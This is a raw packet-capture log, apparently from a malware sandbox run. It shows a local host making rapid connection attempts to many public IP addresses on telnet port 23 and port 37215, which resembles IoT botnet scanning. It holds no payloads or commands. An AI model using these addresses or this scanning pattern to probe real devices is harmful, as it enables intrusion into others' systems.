Oct 8, 2024 20:34:45.308247089 CEST	59068	23	192.168.2.14	144.12.160.27
Oct 8, 2024 20:34:45.308383942 CEST	39706	37215	192.168.2.14	156.97.3.108
Oct 8, 2024 20:34:45.308402061 CEST	23	39050	90.229.84.166	192.168.2.14
Oct 8, 2024 20:34:45.308448076 CEST	39050	23	192.168.2.14	90.229.84.166
Oct 8, 2024 20:34:45.310179949 CEST	35676	37215	192.168.2.14	41.147.107.132
Oct 8, 2024 20:34:45.310281038 CEST	56002	23	192.168.2.14	98.240.67.209
Oct 8, 2024 20:34:45.311861038 CEST	43870	23	192.168.2.14	186.80.143.83
Oct 8, 2024 20:34:45.312016010 CEST	49784	37215	192.168.2.14	197.90.154.72
Oct 8, 2024 20:34:45.313797951 CEST	59192	37215	192.168.2.14	156.215.146.232
Oct 8, 2024 20:34:45.315268040 CEST	56276	37215	192.168.2.14	156.24.184.74
Oct 8, 2024 20:34:45.316288948 CEST	39942	37215	192.168.2.14	41.119.100.224
Oct 8, 2024 20:34:45.316651106 CEST	23	43870	186.80.143.83	192.168.2.14
Oct 8, 2024 20:34:45.316708088 CEST	43870	23	192.168.2.14	186.80.143.83
Oct 8, 2024 20:34:45.317354918 CEST	49298	37215	192.168.2.14	41.90.124.245
Oct 8, 2024 20:34:45.318619967 CEST	51720	37215	192.168.2.14	156.9.1.62
Oct 8, 2024 20:34:45.319674015 CEST	52770	37215	192.168.2.14	156.74.174.9
Oct 8, 2024 20:34:45.320842028 CEST	59542	37215	192.168.2.14	41.185.187.78
Oct 8, 2024 20:34:45.321994066 CEST	33708	37215	192.168.2.14	41.240.112.173
Oct 8, 2024 20:34:45.323532104 CEST	58352	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:45.324779987 CEST	60186	37215	192.168.2.14	156.15.115.61
Oct 8, 2024 20:34:45.325684071 CEST	56142	37215	192.168.2.14	156.144.221.185
Oct 8, 2024 20:34:45.326575041 CEST	55122	37215	192.168.2.14	156.211.13.119
Oct 8, 2024 20:34:45.327584028 CEST	45784	37215	192.168.2.14	197.236.37.193
Oct 8, 2024 20:34:45.328325987 CEST	37215	58352	197.118.22.201	192.168.2.14
Oct 8, 2024 20:34:45.328366995 CEST	58352	37215	192.168.2.14	197.118.22.201
Oct 8, 2024 20:34:45.329077959 CEST	41794	23	192.168.2.14	120.172.22.83
Oct 8, 2024 20:34:45.329437971 CEST	55862	37215	192.168.2.14	197.193.4.205
Oct 8, 2024 20:34:45.331222057 CEST	56252	23	192.168.2.14	98.113.130.124
Oct 8, 2024 20:34:45.331888914 CEST	44860	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:45.333354950 CEST	55140	37215	192.168.2.14	156.161.166.180
Oct 8, 2024 20:34:45.334184885 CEST	60776	37215	192.168.2.14	41.60.137.219
Oct 8, 2024 20:34:45.335199118 CEST	39992	37215	192.168.2.14	156.135.60.48
Oct 8, 2024 20:34:45.336143017 CEST	53172	37215	192.168.2.14	156.42.99.212
Oct 8, 2024 20:34:45.336671114 CEST	37215	44860	197.59.58.68	192.168.2.14
Oct 8, 2024 20:34:45.336721897 CEST	44860	37215	192.168.2.14	197.59.58.68
Oct 8, 2024 20:34:45.336992025 CEST	57826	37215	192.168.2.14	41.81.245.124
Oct 8, 2024 20:34:45.338037968 CEST	40820	37215	192.168.2.14	197.242.150.234
Oct 8, 2024 20:34:45.339122057 CEST	53048	37215	192.168.2.14	41.127.183.31
Oct 8, 2024 20:34:45.340096951 CEST	54600	37215	192.168.2.14	197.98.15.6
Oct 8, 2024 20:34:45.340898991 CEST	48684	37215	192.168.2.14	41.240.220.129
Oct 8, 2024 20:34:45.341779947 CEST	38152	37215	192.168.2.14	156.209.95.181
Oct 8, 2024 20:34:45.342586040 CEST	57974	37215	192.168.2.14	41.231.9.54
Oct 8, 2024 20:34:45.343691111 CEST	52512	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:45.344918966 CEST	34106	37215	192.168.2.14	41.222.138.105
Oct 8, 2024 20:34:45.345626116 CEST	59966	37215	192.168.2.14	41.246.192.50
Oct 8, 2024 20:34:45.346517086 CEST	54714	37215	192.168.2.14	156.252.148.55
Oct 8, 2024 20:34:45.347320080 CEST	54016	37215	192.168.2.14	197.117.78.21
Oct 8, 2024 20:34:45.348294020 CEST	37010	37215	192.168.2.14	41.65.180.158
Oct 8, 2024 20:34:45.349082947 CEST	43492	37215	192.168.2.14	197.17.119.210
Oct 8, 2024 20:34:45.349483013 CEST	37215	52512	156.40.104.148	192.168.2.14
Oct 8, 2024 20:34:45.349531889 CEST	52512	37215	192.168.2.14	156.40.104.148
Oct 8, 2024 20:34:45.350020885 CEST	42328	37215	192.168.2.14	156.5.34.251
Oct 8, 2024 20:34:45.350934982 CEST	50820	37215	192.168.2.14	41.31.141.250
Oct 8, 2024 20:34:45.351775885 CEST	37524	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:45.352761984 CEST	60674	37215	192.168.2.14	197.237.78.137
Oct 8, 2024 20:34:45.353754044 CEST	45916	37215	192.168.2.14	41.170.38.108
Oct 8, 2024 20:34:45.354906082 CEST	57118	37215	192.168.2.14	156.124.112.196
Oct 8, 2024 20:34:45.355736017 CEST	49874	37215	192.168.2.14	197.78.178.68
Oct 8, 2024 20:34:45.356728077 CEST	56654	37215	192.168.2.14	197.200.248.209
Oct 8, 2024 20:34:45.357239008 CEST	37215	37524	41.103.121.35	192.168.2.14
Oct 8, 2024 20:34:45.357291937 CEST	37524	37215	192.168.2.14	41.103.121.35
Oct 8, 2024 20:34:45.357661009 CEST	58530	37215	192.168.2.14	156.21.110.130
Oct 8, 2024 20:34:45.358619928 CEST	49060	37215	192.168.2.14	156.48.218.124
Oct 8, 2024 20:34:45.359883070 CEST	56704	37215	192.168.2.14	41.11.98.189
Oct 8, 2024 20:34:45.361318111 CEST	45258	37215	192.168.2.14	156.227.235.113
Oct 8, 2024 20:34:45.376322031 CEST	59302	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:45.377269030 CEST	39602	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:45.378192902 CEST	57032	37215	192.168.2.14	41.136.4.0
Oct 8, 2024 20:34:45.379136086 CEST	49976	37215	192.168.2.14	197.71.89.68
Oct 8, 2024 20:34:45.380409956 CEST	44204	37215	192.168.2.14	197.153.237.169
Oct 8, 2024 20:34:45.381494999 CEST	52968	37215	192.168.2.14	156.112.43.171
Oct 8, 2024 20:34:45.381561041 CEST	37215	59302	156.15.255.64	192.168.2.14
Oct 8, 2024 20:34:45.381614923 CEST	59302	37215	192.168.2.14	156.15.255.64
Oct 8, 2024 20:34:45.382107973 CEST	37215	39602	197.3.1.37	192.168.2.14
Oct 8, 2024 20:34:45.382154942 CEST	39602	37215	192.168.2.14	197.3.1.37
Oct 8, 2024 20:34:45.382668972 CEST	52094	37215	192.168.2.14	41.55.5.219
Oct 8, 2024 20:34:45.383728027 CEST	42658	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:45.385041952 CEST	38642	37215	192.168.2.14	41.82.216.35
Oct 8, 2024 20:34:45.386048079 CEST	51834	37215	192.168.2.14	156.222.230.128
Oct 8, 2024 20:34:45.387506962 CEST	49452	37215	192.168.2.14	197.233.110.195
Oct 8, 2024 20:34:45.388463974 CEST	54158	37215	192.168.2.14	41.161.155.85
Oct 8, 2024 20:34:45.388648033 CEST	37215	42658	156.228.8.25	192.168.2.14
Oct 8, 2024 20:34:45.388700962 CEST	42658	37215	192.168.2.14	156.228.8.25
Oct 8, 2024 20:34:45.389525890 CEST	35276	37215	192.168.2.14	41.249.65.237
Oct 8, 2024 20:34:45.390675068 CEST	59672	37215	192.168.2.14	41.254.189.110
Oct 8, 2024 20:34:45.391539097 CEST	41538	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:45.393003941 CEST	44422	37215	192.168.2.14	41.206.39.39
Oct 8, 2024 20:34:45.393961906 CEST	59730	37215	192.168.2.14	156.23.150.150
Oct 8, 2024 20:34:45.395010948 CEST	56574	37215	192.168.2.14	41.141.199.197
Oct 8, 2024 20:34:45.396147966 CEST	41276	37215	192.168.2.14	156.37.142.153
Oct 8, 2024 20:34:45.396514893 CEST	37215	41538	197.61.130.134	192.168.2.14
Oct 8, 2024 20:34:45.396560907 CEST	41538	37215	192.168.2.14	197.61.130.134
Oct 8, 2024 20:34:45.397089958 CEST	50970	37215	192.168.2.14	41.90.202.228
Oct 8, 2024 20:34:45.398130894 CEST	39294	37215	192.168.2.14	156.121.39.131
Oct 8, 2024 20:34:45.399110079 CEST	48064	37215	192.168.2.14	156.226.176.193
Oct 8, 2024 20:34:45.400154114 CEST	48868	37215	192.168.2.14	41.125.157.173
Oct 8, 2024 20:34:45.401307106 CEST	38658	37215	192.168.2.14	197.61.144.116
Oct 8, 2024 20:34:45.402586937 CEST	42224	37215	192.168.2.14	156.152.77.121
Oct 8, 2024 20:34:45.404028893 CEST	56478	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:45.405230045 CEST	52212	37215	192.168.2.14	197.153.204.158
Oct 8, 2024 20:34:45.406106949 CEST	55370	37215	192.168.2.14	41.36.42.133
Oct 8, 2024 20:34:45.407355070 CEST	44906	37215	192.168.2.14	41.113.7.78
Oct 8, 2024 20:34:45.408503056 CEST	56610	37215	192.168.2.14	41.234.186.12
Oct 8, 2024 20:34:45.409248114 CEST	37215	56478	197.249.177.156	192.168.2.14
Oct 8, 2024 20:34:45.409296036 CEST	56478	37215	192.168.2.14	197.249.177.156
Oct 8, 2024 20:34:45.409439087 CEST	44706	37215	192.168.2.14	41.53.65.212
Oct 8, 2024 20:34:45.410552979 CEST	43034	37215	192.168.2.14	41.168.97.59
Oct 8, 2024 20:34:45.411488056 CEST	59134	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:45.412493944 CEST	49750	37215	192.168.2.14	41.4.208.158
Oct 8, 2024 20:34:45.413423061 CEST	43796	37215	192.168.2.14	41.250.111.239
Oct 8, 2024 20:34:45.414299011 CEST	35478	37215	192.168.2.14	41.5.23.116
Oct 8, 2024 20:34:45.415083885 CEST	41742	37215	192.168.2.14	156.235.201.5
Oct 8, 2024 20:34:45.416125059 CEST	39898	37215	192.168.2.14	197.169.44.159
Oct 8, 2024 20:34:45.416526079 CEST	39898	37215	192.168.2.14	197.169.44.159
Oct 8, 2024 20:34:45.416542053 CEST	40466	37215	192.168.2.14	197.169.44.159
Oct 8, 2024 20:34:45.417365074 CEST	46710	37215	192.168.2.14	156.136.228.139
Oct 8, 2024 20:34:45.417365074 CEST	46710	37215	192.168.2.14	156.136.228.139
Oct 8, 2024 20:34:45.417848110 CEST	37215	59134	41.233.118.37	192.168.2.14
Oct 8, 2024 20:34:45.417890072 CEST	59134	37215	192.168.2.14	41.233.118.37
Oct 8, 2024 20:34:45.418054104 CEST	47274	37215	192.168.2.14	156.136.228.139
Oct 8, 2024 20:34:45.418658972 CEST	57252	37215	192.168.2.14	197.120.159.78
Oct 8, 2024 20:34:45.418658972 CEST	57252	37215	192.168.2.14	197.120.159.78
Oct 8, 2024 20:34:45.419621944 CEST	57812	37215	192.168.2.14	197.120.159.78
Oct 8, 2024 20:34:45.420075893 CEST	58616	37215	192.168.2.14	197.75.45.209
Oct 8, 2024 20:34:45.420075893 CEST	58616	37215	192.168.2.14	197.75.45.209
Oct 8, 2024 20:34:45.420783043 CEST	59172	37215	192.168.2.14	197.75.45.209
Oct 8, 2024 20:34:45.421575069 CEST	52900	37215	192.168.2.14	197.53.135.75
Oct 8, 2024 20:34:45.421575069 CEST	52900	37215	192.168.2.14	197.53.135.75
Oct 8, 2024 20:34:45.422135115 CEST	53452	37215	192.168.2.14	197.53.135.75
Oct 8, 2024 20:34:45.422944069 CEST	37215	39898	197.169.44.159	192.168.2.14
Oct 8, 2024 20:34:45.423167944 CEST	50070	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:45.423167944 CEST	50070	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:45.423691988 CEST	50618	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:45.424191952 CEST	37215	46710	156.136.228.139	192.168.2.14
Oct 8, 2024 20:34:45.424673080 CEST	47660	37215	192.168.2.14	197.146.79.42
Oct 8, 2024 20:34:45.424673080 CEST	47660	37215	192.168.2.14	197.146.79.42
Oct 8, 2024 20:34:45.425221920 CEST	37215	57252	197.120.159.78	192.168.2.14
Oct 8, 2024 20:34:45.425288916 CEST	48204	37215	192.168.2.14	197.146.79.42
Oct 8, 2024 20:34:45.426029921 CEST	56320	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:45.426029921 CEST	56320	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:45.426517963 CEST	37215	58616	197.75.45.209	192.168.2.14
Oct 8, 2024 20:34:45.426788092 CEST	56860	37215	192.168.2.14	41.196.1.126
Oct 8, 2024 20:34:45.427397013 CEST	49720	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:45.427397013 CEST	49720	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:45.427592993 CEST	37215	52900	197.53.135.75	192.168.2.14
Oct 8, 2024 20:34:45.428049088 CEST	50256	37215	192.168.2.14	156.74.149.151
Oct 8, 2024 20:34:45.428971052 CEST	37215	50070	41.66.89.207	192.168.2.14
Oct 8, 2024 20:34:45.429171085 CEST	42110	37215	192.168.2.14	197.100.85.188
Oct 8, 2024 20:34:45.429171085 CEST	42110	37215	192.168.2.14	197.100.85.188
Oct 8, 2024 20:34:45.429480076 CEST	37215	50618	41.66.89.207	192.168.2.14
Oct 8, 2024 20:34:45.429532051 CEST	50618	37215	192.168.2.14	41.66.89.207
Oct 8, 2024 20:34:45.429711103 CEST	42642	37215	192.168.2.14	197.100.85.188
Oct 8, 2024 20:34:45.430464983 CEST	36528	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:45.430464983 CEST	36528	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:45.430700064 CEST	37215	47660	197.146.79.42	192.168.2.14
Oct 8, 2024 20:34:45.431164980 CEST	37056	37215	192.168.2.14	41.103.212.117
Oct 8, 2024 20:34:45.431999922 CEST	37215	56320	41.196.1.126	192.168.2.14
Oct 8, 2024 20:34:45.432552099 CEST	52650	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:45.432552099 CEST	52650	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:45.432948112 CEST	53174	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:45.433504105 CEST	37215	49720	156.74.149.151	192.168.2.14
Oct 8, 2024 20:34:45.433744907 CEST	56946	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:45.433744907 CEST	56946	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:45.434099913 CEST	57466	37215	192.168.2.14	41.200.79.242
Oct 8, 2024 20:34:45.435317993 CEST	37215	42110	197.100.85.188	192.168.2.14
Oct 8, 2024 20:34:45.437424898 CEST	37215	36528	41.103.212.117	192.168.2.14
Oct 8, 2024 20:34:45.437638998 CEST	39644	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:45.437638998 CEST	39644	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:45.438471079 CEST	40160	37215	192.168.2.14	197.103.175.106
Oct 8, 2024 20:34:45.439434052 CEST	41382	37215	192.168.2.14	197.139.250.29
Oct 8, 2024 20:34:45.439434052 CEST	41382	37215	192.168.2.14	197.139.250.29
Oct 8, 2024 20:34:45.439647913 CEST	37215	52650	197.67.121.133	192.168.2.14
Oct 8, 2024 20:34:45.440068007 CEST	37215	53174	197.67.121.133	192.168.2.14
Oct 8, 2024 20:34:45.440107107 CEST	53174	37215	192.168.2.14	197.67.121.133
Oct 8, 2024 20:34:45.440449953 CEST	41894	37215	192.168.2.14	197.139.250.29
Oct 8, 2024 20:34:45.440644026 CEST	37215	56946	41.200.79.242	192.168.2.14
Oct 8, 2024 20:34:45.441503048 CEST	50072	37215	192.168.2.14	156.112.111.237
Oct 8, 2024 20:34:45.441503048 CEST	50072	37215	192.168.2.14	156.112.111.237
Oct 8, 2024 20:34:45.441965103 CEST	50580	37215	192.168.2.14	156.112.111.237
Oct 8, 2024 20:34:45.442912102 CEST	60008	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:45.442912102 CEST	60008	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:45.443703890 CEST	60512	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:45.444231987 CEST	38406	37215	192.168.2.14	41.171.155.222
Oct 8, 2024 20:34:45.444231987 CEST	38406	37215	192.168.2.14	41.171.155.222
Oct 8, 2024 20:34:45.444550037 CEST	38906	37215	192.168.2.14	41.171.155.222
Oct 8, 2024 20:34:45.445297003 CEST	52806	37215	192.168.2.14	156.212.37.239
Oct 8, 2024 20:34:45.445297003 CEST	52806	37215	192.168.2.14	156.212.37.239
Oct 8, 2024 20:34:45.445553064 CEST	37215	39644	197.103.175.106	192.168.2.14
Oct 8, 2024 20:34:45.445846081 CEST	53302	37215	192.168.2.14	156.212.37.239
Oct 8, 2024 20:34:45.446535110 CEST	45858	37215	192.168.2.14	156.252.34.119
Oct 8, 2024 20:34:45.446535110 CEST	45858	37215	192.168.2.14	156.252.34.119
Oct 8, 2024 20:34:45.446907997 CEST	46350	37215	192.168.2.14	156.252.34.119
Oct 8, 2024 20:34:45.447566032 CEST	37215	41382	197.139.250.29	192.168.2.14
Oct 8, 2024 20:34:45.447602987 CEST	52058	37215	192.168.2.14	41.62.139.88
Oct 8, 2024 20:34:45.447602987 CEST	52058	37215	192.168.2.14	41.62.139.88
Oct 8, 2024 20:34:45.448967934 CEST	37215	50072	156.112.111.237	192.168.2.14
Oct 8, 2024 20:34:45.449063063 CEST	52546	37215	192.168.2.14	41.62.139.88
Oct 8, 2024 20:34:45.449980974 CEST	52538	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:45.449980974 CEST	52538	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:45.450112104 CEST	37215	60008	156.224.97.47	192.168.2.14
Oct 8, 2024 20:34:45.450335026 CEST	53022	37215	192.168.2.14	41.71.213.174
Oct 8, 2024 20:34:45.451005936 CEST	37215	60512	156.224.97.47	192.168.2.14
Oct 8, 2024 20:34:45.451035023 CEST	40276	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:45.451050043 CEST	40276	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:45.451060057 CEST	60512	37215	192.168.2.14	156.224.97.47
Oct 8, 2024 20:34:45.451931000 CEST	37215	38406	41.171.155.222	192.168.2.14
Oct 8, 2024 20:34:45.452204943 CEST	40756	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:45.452764034 CEST	44704	37215	192.168.2.14	197.47.170.78
Oct 8, 2024 20:34:45.452764034 CEST	44704	37215	192.168.2.14	197.47.170.78
Oct 8, 2024 20:34:45.453320980 CEST	37215	52806	156.212.37.239	192.168.2.14
Oct 8, 2024 20:34:45.453336954 CEST	45180	37215	192.168.2.14	197.47.170.78
Oct 8, 2024 20:34:45.453824043 CEST	37215	45858	156.252.34.119	192.168.2.14
Oct 8, 2024 20:34:45.454163074 CEST	59484	37215	192.168.2.14	197.205.151.131
Oct 8, 2024 20:34:45.454163074 CEST	59484	37215	192.168.2.14	197.205.151.131
Oct 8, 2024 20:34:45.454530954 CEST	37215	52058	41.62.139.88	192.168.2.14
Oct 8, 2024 20:34:45.454946995 CEST	59958	37215	192.168.2.14	197.205.151.131
Oct 8, 2024 20:34:45.455776930 CEST	37215	52538	41.71.213.174	192.168.2.14
Oct 8, 2024 20:34:45.455946922 CEST	49614	37215	192.168.2.14	156.244.34.40
Oct 8, 2024 20:34:45.455946922 CEST	49614	37215	192.168.2.14	156.244.34.40
Oct 8, 2024 20:34:45.456270933 CEST	37215	40276	41.240.69.60	192.168.2.14
Oct 8, 2024 20:34:45.456312895 CEST	50086	37215	192.168.2.14	156.244.34.40
Oct 8, 2024 20:34:45.457160950 CEST	37215	40756	41.240.69.60	192.168.2.14
Oct 8, 2024 20:34:45.457206011 CEST	40756	37215	192.168.2.14	41.240.69.60
Oct 8, 2024 20:34:45.457206964 CEST	37644	37215	192.168.2.14	197.242.35.187
Oct 8, 2024 20:34:45.457206964 CEST	37644	37215	192.168.2.14	197.242.35.187
Oct 8, 2024 20:34:45.457674026 CEST	37215	44704	197.47.170.78	192.168.2.14
Oct 8, 2024 20:34:45.457737923 CEST	38114	37215	192.168.2.14	197.242.35.187
Oct 8, 2024 20:34:45.458195925 CEST	52270	37215	192.168.2.14	197.114.205.104
Oct 8, 2024 20:34:45.458195925 CEST	52270	37215	192.168.2.14	197.114.205.104
Oct 8, 2024 20:34:45.458786964 CEST	52738	37215	192.168.2.14	197.114.205.104
Oct 8, 2024 20:34:45.459033012 CEST	37215	59484	197.205.151.131	192.168.2.14
Oct 8, 2024 20:34:45.459249973 CEST	39602	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:45.459249973 CEST	39602	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:45.460088968 CEST	40066	37215	192.168.2.14	41.170.240.154
Oct 8, 2024 20:34:45.460932016 CEST	57498	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:45.460932016 CEST	57498	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:45.461218119 CEST	37215	49614	156.244.34.40	192.168.2.14
Oct 8, 2024 20:34:45.461620092 CEST	57962	37215	192.168.2.14	197.240.239.215
Oct 8, 2024 20:34:45.462167978 CEST	37215	37644	197.242.35.187	192.168.2.14
Oct 8, 2024 20:34:45.462224960 CEST	44006	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:45.462240934 CEST	44006	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:45.462649107 CEST	44466	37215	192.168.2.14	41.228.100.124
Oct 8, 2024 20:34:45.463068008 CEST	37215	52270	197.114.205.104	192.168.2.14
Oct 8, 2024 20:34:45.463262081 CEST	54604	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:45.463263035 CEST	54604	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:45.463644981 CEST	55064	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:45.464027882 CEST	37215	39898	197.169.44.159	192.168.2.14
Oct 8, 2024 20:34:45.464159012 CEST	42376	37215	192.168.2.14	156.127.1.25
Oct 8, 2024 20:34:45.464169025 CEST	37215	39602	41.170.240.154	192.168.2.14
Oct 8, 2024 20:34:45.464180946 CEST	42376	37215	192.168.2.14	156.127.1.25
Oct 8, 2024 20:34:45.464711905 CEST	42834	37215	192.168.2.14	156.127.1.25
Oct 8, 2024 20:34:45.465086937 CEST	50606	37215	192.168.2.14	41.225.209.41
Oct 8, 2024 20:34:45.465086937 CEST	50606	37215	192.168.2.14	41.225.209.41
Oct 8, 2024 20:34:45.465481043 CEST	51064	37215	192.168.2.14	41.225.209.41
Oct 8, 2024 20:34:45.465764046 CEST	37215	57498	197.240.239.215	192.168.2.14
Oct 8, 2024 20:34:45.466043949 CEST	39048	37215	192.168.2.14	156.242.157.164
Oct 8, 2024 20:34:45.466043949 CEST	39048	37215	192.168.2.14	156.242.157.164
Oct 8, 2024 20:34:45.466634035 CEST	39506	37215	192.168.2.14	156.242.157.164
Oct 8, 2024 20:34:45.467228889 CEST	60524	37215	192.168.2.14	197.94.55.209
Oct 8, 2024 20:34:45.467228889 CEST	60524	37215	192.168.2.14	197.94.55.209
Oct 8, 2024 20:34:45.467259884 CEST	37215	44006	41.228.100.124	192.168.2.14
Oct 8, 2024 20:34:45.467621088 CEST	60982	37215	192.168.2.14	197.94.55.209
Oct 8, 2024 20:34:45.468149900 CEST	37215	54604	156.139.56.40	192.168.2.14
Oct 8, 2024 20:34:45.468530893 CEST	45862	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:45.468530893 CEST	45862	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:45.468564034 CEST	37215	55064	156.139.56.40	192.168.2.14
Oct 8, 2024 20:34:45.468595028 CEST	55064	37215	192.168.2.14	156.139.56.40
Oct 8, 2024 20:34:45.468967915 CEST	46320	37215	192.168.2.14	197.5.175.128
Oct 8, 2024 20:34:45.469103098 CEST	37215	42376	156.127.1.25	192.168.2.14
Oct 8, 2024 20:34:45.469512939 CEST	34346	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:45.469512939 CEST	34346	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:45.469912052 CEST	37215	50606	41.225.209.41	192.168.2.14
Oct 8, 2024 20:34:45.470850945 CEST	34804	37215	192.168.2.14	156.9.173.187
Oct 8, 2024 20:34:45.471052885 CEST	37215	39048	156.242.157.164	192.168.2.14
Oct 8, 2024 20:34:45.471623898 CEST	37215	58616	197.75.45.209	192.168.2.14
Oct 8, 2024 20:34:45.471635103 CEST	37215	57252	197.120.159.78	192.168.2.14
Oct 8, 2024 20:34:45.471646070 CEST	37215	46710	156.136.228.139	192.168.2.14
Oct 8, 2024 20:34:45.471656084 CEST	37215	47660	197.146.79.42	192.168.2.14
Oct 8, 2024 20:34:45.471667051 CEST	37215	50070	41.66.89.207	192.168.2.14
Oct 8, 2024 20:34:45.471677065 CEST	37215	52900	197.53.135.75	192.168.2.14
Oct 8, 2024 20:34:45.471731901 CEST	59306	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:45.471733093 CEST	59306	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:45.472302914 CEST	59764	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:45.472337008 CEST	37215	60524	197.94.55.209	192.168.2.14
Oct 8, 2024 20:34:45.473016024 CEST	56960	37215	192.168.2.14	197.247.144.107
Oct 8, 2024 20:34:45.473016024 CEST	56960	37215	192.168.2.14	197.247.144.107
Oct 8, 2024 20:34:45.473455906 CEST	57418	37215	192.168.2.14	197.247.144.107
Oct 8, 2024 20:34:45.473546982 CEST	37215	45862	197.5.175.128	192.168.2.14
Oct 8, 2024 20:34:45.474361897 CEST	33566	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:45.474370956 CEST	33566	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:45.474431992 CEST	37215	34346	156.9.173.187	192.168.2.14
Oct 8, 2024 20:34:45.475058079 CEST	34024	37215	192.168.2.14	156.8.55.141
Oct 8, 2024 20:34:45.475450993 CEST	37215	42110	197.100.85.188	192.168.2.14
Oct 8, 2024 20:34:45.475460052 CEST	37215	49720	156.74.149.151	192.168.2.14
Oct 8, 2024 20:34:45.475470066 CEST	37215	56320	41.196.1.126	192.168.2.14
Oct 8, 2024 20:34:45.476151943 CEST	39500	37215	192.168.2.14	156.171.60.191
Oct 8, 2024 20:34:45.476151943 CEST	39500	37215	192.168.2.14	156.171.60.191
Oct 8, 2024 20:34:45.476589918 CEST	37215	59306	197.200.82.162	192.168.2.14
Oct 8, 2024 20:34:45.476726055 CEST	39958	37215	192.168.2.14	156.171.60.191
Oct 8, 2024 20:34:45.477102995 CEST	37215	59764	197.200.82.162	192.168.2.14
Oct 8, 2024 20:34:45.477159023 CEST	59764	37215	192.168.2.14	197.200.82.162
Oct 8, 2024 20:34:45.477468967 CEST	52218	37215	192.168.2.14	156.43.132.129
Oct 8, 2024 20:34:45.477468967 CEST	52218	37215	192.168.2.14	156.43.132.129
Oct 8, 2024 20:34:45.477837086 CEST	37215	56960	197.247.144.107	192.168.2.14
Oct 8, 2024 20:34:45.478133917 CEST	52676	37215	192.168.2.14	156.43.132.129
Oct 8, 2024 20:34:45.478724957 CEST	47336	37215	192.168.2.14	41.61.90.18
Oct 8, 2024 20:34:45.478724957 CEST	47336	37215	192.168.2.14	41.61.90.18
Oct 8, 2024 20:34:45.479182005 CEST	47792	37215	192.168.2.14	41.61.90.18
Oct 8, 2024 20:34:45.479593039 CEST	37215	33566	156.8.55.141	192.168.2.14
Oct 8, 2024 20:34:45.479633093 CEST	37215	36528	41.103.212.117	192.168.2.14
Oct 8, 2024 20:34:45.480258942 CEST	59484	37215	192.168.2.14	41.126.15.131
Oct 8, 2024 20:34:45.480258942 CEST	59484	37215	192.168.2.14	41.126.15.131
Oct 8, 2024 20:34:45.480791092 CEST	59936	37215	192.168.2.14	41.126.15.131
Oct 8, 2024 20:34:45.481154919 CEST	37215	39500	156.171.60.191	192.168.2.14
Oct 8, 2024 20:34:45.482413054 CEST	37215	52218	156.43.132.129	192.168.2.14
Oct 8, 2024 20:34:45.483449936 CEST	37215	56946	41.200.79.242	192.168.2.14
Oct 8, 2024 20:34:45.483479977 CEST	37215	52650	197.67.121.133	192.168.2.14
Oct 8, 2024 20:34:45.483582020 CEST	37215	47336	41.61.90.18	192.168.2.14
Oct 8, 2024 20:34:45.483845949 CEST	37782	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:45.483845949 CEST	37782	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:45.484245062 CEST	38230	37215	192.168.2.14	41.98.76.2
Oct 8, 2024 20:34:45.484755039 CEST	60220	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:45.484755039 CEST	60220	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:45.485163927 CEST	37215	59484	41.126.15.131	192.168.2.14
Oct 8, 2024 20:34:45.485178947 CEST	60664	37215	192.168.2.14	197.153.188.64
Oct 8, 2024 20:34:45.486260891 CEST	46928	37215	192.168.2.14	41.102.203.253
